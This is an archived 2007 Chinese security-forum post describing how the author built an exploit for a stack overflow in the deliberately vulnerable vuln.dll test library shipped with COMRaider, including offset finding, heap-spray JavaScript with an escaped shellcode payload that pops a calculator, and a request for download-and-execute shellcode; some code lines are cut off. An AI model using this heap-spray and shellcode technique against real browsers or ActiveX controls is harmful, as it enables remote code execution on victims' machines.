文本版|topic 高级搜索
   名人堂 帮助 论坛制度 意见反馈 | 首页 博客 周新贴 招聘 专题 新闻
RSS 底部
 
社区导航: 专家门诊   网络技术   操作系统   数据库   程序设计   系统应用   考试认证   CIO及信息化   站长交流   综合交流   下载基地  51CTO产品服务 设为首页 | 收藏本站
51CTO技术论坛» 网络安全 » ActiveX Exploit简单构造       [ 打印]  [ 订阅]  [ 收藏]  [ 推荐给朋友]   [ 本帖文本页]

论坛跳转:
     
标题: [转载] ActiveX Exploit简单构造  ( 查看:196  回复:0 )   
 
sally
副版主  点击可查看详细


帖子 1186
精华 2
无忧币 7830
积分 2944
阅读权限 140
注册日期 2006-8-4
最后登录 2008-7-11 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2007-12-14 09:40   标题:ActiveX Exploit简单构造
上一帖 |
忽然发现我仅仅是发掘ActiveX漏洞,但不去利用,利用远远要比发掘有趣:)
COMRaider自带了一个vuln.dll的漏洞链接库文件,我就拿这个下手吧(外面的AX漏洞要么已经被开发出exp,要么已经被找的差不多了...)
一共5个函数,我就用Method1参数进行攻击,字符型的

溢出点的定位我还是用CCProxy Telnet Proxy Ping远程栈溢出分析中的方法,首先生成1000个字符,然后提交到函数中,意料之中的崩溃,看看错误

输出26禁止的地址对应,找到"4c494141AAIL 220 0xdc EIP ==> 0x4c494141",也就是说216个字符的时候就是溢出点了,为什么?还是仔细看看我写的那篇CCProxy Telnet溢出的文章中说道的那个工具与技巧:)
不过为了证实一下构造下面的代码

......
while (s.length


因为数据入堆栈的顺序问题,所以最后是41,也就是多余的那个A,呵呵,溢出点定位了,构造exp,这个没什么说的,直接给出代码,使用heap spray方法,目前这个很流行,暴力在内存开出一片空间,然后NOP到shellcode,我是这么理解的。





var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length



最后计算器运行成功,可是IE挂掉了,也许是SEH的问题,在研究。另外溢出点定位<217的时候也就是216个字符,溢出会成功,可是经常出现失败的情况,错误地址就是定义"\x0a\x0a\x0a\x0a",如果溢出点是217的字符,基本是100%成功,不知道什么原因,希望指点:)
我的MSN是:links@live.com。

PS:down&exec的shellcode谁有好的给我份哒,3Q~



【一个网络工程师在英国的面试经历】
2007-12-14 09:401楼
[ 顶部 ]
     
论坛跳转:  

| | |

标记已读 · 删除论坛Cookies · 文本版 · WAP
 
| 诚征版主 | 版主堂 | 意见建议 | 大史记 | 论坛地图
Copyright©2005-2008 51CTO.COM  Powered by Discuz!
本论坛言论纯属发布者个人意见,不代表51CTO网站立场!如有疑义,请与管理员联系。
京ICP备05051492号